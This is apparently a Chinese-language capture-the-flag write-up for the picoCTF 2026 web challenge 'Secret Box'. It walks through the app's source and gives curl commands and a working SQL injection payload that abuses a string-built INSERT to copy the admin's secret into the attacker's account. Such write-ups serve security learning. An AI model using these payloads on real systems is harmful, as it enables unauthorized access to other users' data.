picoCTF 2026 Secret Box
這題是 picoCTF 2026 的 Web 題:Secret Box。
題目描述:
This secret box is designed to conceal your secrets.
It's perfectly secure—only you can see what's inside.
Or can you? Try uncovering the admin's secret.
這題一開始就給 source code,所以不是純黑箱猜題,
題目說的是:
每個人只能看到自己的 secret
但我們要想辦法看到 admin 的 secret
這種題目通常要先看兩件事:
- secret 是怎麼存的
- 網站怎麼判斷「這個 secret 是誰的」
題目資訊
- 題目:Secret Box
- 分類:Web Exploitation
- 難度:Medium
- 平台:picoCTF 2026
這篇照實際解題流程寫,重點是理解:
Express + EJS
PostgreSQL
auth_token
owner_id
SQL injection
最後我們不是直接進 admin 頁面,而是用 SQL injection 把 admin 的 secret 複製到自己的 secret box,
Step 1:下載 source code
先建立資料夾:
cd /mnt/d/Download
mkdir -p secretbox
cd secretbox
設定網址:
BASE='http://candy-mountain.picoctf.net:58604'
SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz'
下載並解壓:
curl -sS -L "$SRC" -o source.tar.gz
mkdir -p src
tar -xzf source.tar.gz -C src
rg --files src
可以看到:
src/source/docker-compose.yml
src/source/app/Dockerfile
src/source/db/Dockerfile
src/source/db/initdb.sql
src/source/app/src/handler.js
src/source/app/src/db.js
src/source/app/src/server.js
src/source/app/src/views/login.ejs
src/source/app/src/views/index.ejs
src/source/app/src/views/create_secret.ejs
src/source/app/src/views/my_secrets.ejs
src/source/app/src/views/signup.ejs
檔案很少,主線應該會在:
server.js:路由
handler.js:登入狀態 / token
initdb.sql:資料庫 schema
db.js:admin password / flag 初始化
views/*.ejs:畫面怎麼顯示
Step 2:EJS 是什麼
一開始看到 .ejs 可能會有點陌生,EJS 是 Node.js / Express 常用的模板引擎,完整名稱是:
Embedded JavaScript templates
可以把它想成 Flask 的 Jinja,
| Flask | Express / Node |
|---|---|
render_template("index.html", data=x) |
res.render("index", { data: x }) |
| Jinja template | EJS template |
{{ value }} |
<%= value %> |
這題的首頁會這樣 render:
return res.render('my_secrets', {secrets: query.rows});
EJS 裡這樣顯示 secret:
<%= sec.content %>
<%= %> 會做 HTML escape,所以這題目前看起來不是 EJS SSTI,也不是 XSS 題,
EJS 只是負責把資料顯示出來,真正要看的還是後端 SQL。
Step 3:看資料庫結構
先看 initdb.sql:
nl -ba src/source/db/initdb.sql | sed -n '1,80p'
重點是三張表:
CREATE TABLE users (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
username text NOT NULL,
password text NOT NULL,
created_at timestamptz NOT NULL DEFAULT now()
);
CREATE TABLE tokens (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
user_id text NOT NULL REFERENCES users(id),
created_at timestamptz NOT NULL DEFAULT now(),
expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);
CREATE TABLE secrets (
id text PRIMARY KEY DEFAULT gen_random_uuid(),
owner_id text NOT NULL REFERENCES users(id),
content text NOT NULL,
created_at timestamptz NOT NULL DEFAULT now()
);
這裡可以先理解資料關係:
users.id
-> tokens.user_id
-> secrets.owner_id
也就是:
token 對應使用者
secret 也對應使用者
admin 的 UUID 也在初始化檔案裡:
INSERT INTO users(id, username, password)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');
雖然本地 source 是 fake flag,但 db.js 會在正式環境啟動時更新成真正的 flag:
await db('users')
.where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
.update({ password: process.env.USERPASSWORD });
await db('secrets')
.where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
.update({ content: process.env.FLAG });
所以可以確認:
admin 的 secret 就是 flag
admin 的 owner_id 是固定 UUID
Step 4:看登入狀態怎麼判斷
handler.js 負責讀 cookie:
const cookies = getCookies(req.headers.cookie);
const token = cookies.auth_token;
如果有 token,就查資料庫:
const query = await db.raw(
`SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
[token]
);
查得到就把使用者 ID 放到 request 裡:
req.userId = query.rows[0].user_id;
所以這題的登入狀態是:
cookie 裡有 auth_token
-> tokens 表查得到
-> req.userId = tokens.user_id
首頁 / 會用 req.userId 查自己的 secrets:
const query = await db.raw(
`SELECT * FROM secrets WHERE owner_id = ?`,
[userId]
);
return res.render('my_secrets', {secrets: query.rows});
這邊是參數化查詢,看起來沒有直接的 IDOR。
因為首頁只會查:
SELECT * FROM secrets WHERE owner_id = 自己的 userId
所以如果我們想看到 admin secret,不能只是改 URL,要想辦法讓 admin secret 變成「自己的 secret」。
Step 5:找到真正的 SQL injection
看 server.js 裡建立 secret 的 route:
nl -ba src/source/app/src/server.js | sed -n '120,140p'
重點是這段:
app.post('/secrets/create', authMiddleware, async (req, res) => {
const userId = req.userId;
if (!userId){
res.clearCookie('auth_token');
return res.redirect('/');
}
const content = req.body.content;
const query = await db.raw(
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
);
return res.redirect('/');
});
問題在這行:
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
userId 和 content 被直接拼進 SQL,其中 userId 來自 token,正常比較不好控制,但 content 是我們建立 secret 時輸入的內容,所以它是可控的。
後端原本想做:
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', '我的 secret')
如果 content 可以提前關閉字串,我們就可以把 SQL 變成:
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
('我的 userId', '另一筆 secret')--')
這裡不是送兩個 SQL statement,比較準確地說,是:
同一個 INSERT 裡面,追加第二筆 VALUES。
Step 6:先註冊普通使用者並登入
先註冊一個普通帳號:
BASE='http://candy-mountain.picoctf.net:58604'
C=secretbox_cookies.txt
USER="u$(date +%s)"
PASS="Passw0rd!"
curl -sS -i -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" \
-o 01_signup.http
curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" \
-o 02_login.http
TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"
echo "USER=$USER"
echo "TOKEN=$TOKEN"
sed -n '1,100p' 02_login.http
登入成功後會看到:
HTTP/1.1 302 Found
Set-Cookie: auth_token=...
Location: /
這裡的 auth_token 很重要,因為我們知道 token,但不知道自己的 user_id。
不過資料庫知道:
SELECT user_id FROM tokens WHERE id='我們的 token'
所以等等可以用這個子查詢,讓資料庫自己幫我們找出目前使用者 ID。
Step 7:用 marker 證明 SQL injection 成功
先不要急著拿 flag,先用 marker 確認自己真的能插入第二筆 secret,
marker 就是我們故意放進去的標記,例如:
MARK1788101140
payload:
MARK="MARK$(date +%s)"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--"
printf '%s\n' "$PAYLOAD"
送出:
curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
--data-urlencode "content=$PAYLOAD" \
-o 03_marker.http
sed -n '1,120p' 03_marker.http
curl -sS -b "$C" "$BASE/" -o 04_home_marker.html
grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http
結果:
04_home_marker.html:MARK1788101140
這代表 marker 已經出現在自己的 Secret Box 裡。
也就是說,這段 payload 成功讓資料庫多插入了一筆 secret:
INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
((SELECT user_id FROM tokens WHERE id='我的 token'), 'MARK1788101140')--')
裡面的子查詢:
SELECT user_id FROM tokens WHERE id='我的 token'
會回傳自己的 user ID,所以第二筆 secret 其實等於:
('我的 userId', 'MARK1788101140')
marker 測試成功後,才進下一步。
Step 8:把 admin secret 複製到自己的 box
source code 已經告訴我們 admin 的 UUID:
e2a66f7d-2ce6-4861-b4aa-be8e069601cb
admin secret 存在:
secrets.content
所以要查 admin secret,可以用:
SELECT content
FROM secrets
WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb'
LIMIT 1
把 marker payload 裡的:
'MARK'
換成這個查詢:
(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)
完整指令:
TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--"
printf '%s\n' "$PAYLOAD"
curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
--data-urlencode "content=$PAYLOAD" \
-o 05_dump_admin_secret.http
sed -n '1,120p' 05_dump_admin_secret.http
curl -sS -b "$C" "$BASE/" -o 06_home_flag.html
grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html
結果:
picoCTF{Redacted}
這裡的概念是:
第一筆:插入一個普通的 x
第二筆:owner_id 是我自己,content 是 admin secret
所以最後首頁查自己的 secrets 時:
SELECT * FROM secrets WHERE owner_id = 我的 userId
就會把剛剛複製過來的 admin secret 顯示出來。
中間 SQL 是怎麼組出來的
這題最容易卡住的是這個 payload:
x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')--
用 toy example 會比較好懂。
假設資料表長這樣:
users
U1 admin
U2 kevin
tokens
T2 -> U2
secrets
U1 -> picoCTF{secret}
正常新增 secret:
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'hello')
如果 content 輸入:
x'), ('U2', 'MARK')--
後端拼完會變成:
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'), ('U2', 'MARK')--')
這樣就插入兩筆:
U2 -> x
U2 -> MARK
但我們不一定知道自己的 user ID 是 U2,所以改成讓資料庫從 token 查:
SELECT user_id FROM tokens WHERE id='T2'
payload 變成:
x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')--
最後再把 MARK 換成 admin secret:
x'), (
(SELECT user_id FROM tokens WHERE id='T2'),
(SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1)
)--
等價於:
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'),
('U2', 'picoCTF{secret}')--')
所以這題不是直接繞過「只能看自己的 secret」,而是把 admin secret 複製成自己的 secret。
學習重點
Secret Box 這題名字取得很好,
表面上每個人的 box 都只查自己的 owner_id,看起來權限沒有錯,
但建立 secret 的地方有 SQL injection,
所以我們可以偷偷請資料庫做一件事:
幫我新增一筆 secret
owner 是我
內容是 admin 的 secret
這就是這題最核心的想法。
Member discussion